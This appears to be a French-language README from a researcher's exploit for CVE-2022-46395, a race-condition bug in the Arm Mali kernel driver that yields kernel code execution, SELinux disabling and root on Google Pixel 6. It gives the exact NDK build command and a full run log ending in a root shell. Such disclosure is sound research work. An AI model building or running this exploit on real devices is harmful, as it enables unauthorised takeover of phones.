
Exploit pour la CVE-2022-46395, une vulnérabilité du pilote de noyau Arm Mali, permettant l'exécution arbitraire de code noyau afin de désactiver SELinux et d'obtenir les droits root sur Google Pixel 6.
Le write-up est disponible ici. Il s'agit d'un bogue dans le pilote du noyau Arm Mali que j'ai signalé en novembre 2022. Ce bogue peut être utilisé pour obtenir une exécution arbitraire de code noyau depuis le domaine d'application non fiable, ce qui permet ensuite de désactiver SELinux et d'obtenir les droits root.
L'exploit a été testé sur le Google Pixel 6 avec les correctifs de novembre 2022 et janvier 2023. Pour référence, j'ai utilisé la commande suivante pour compiler avec clang dans ndk-21 :
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
L'exploit doit être exécuté quelques minutes après le démarrage et il devra probablement tourner pendant quelques minutes pour réussir. Il n'est pas rare d'échouer les conditions de course des centaines de fois, bien que cela n'ait aucun effet néfaste et que l'exploit provoque rarement des plantages. En cas de succès, il désactive SELinux et donne les droits root.
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #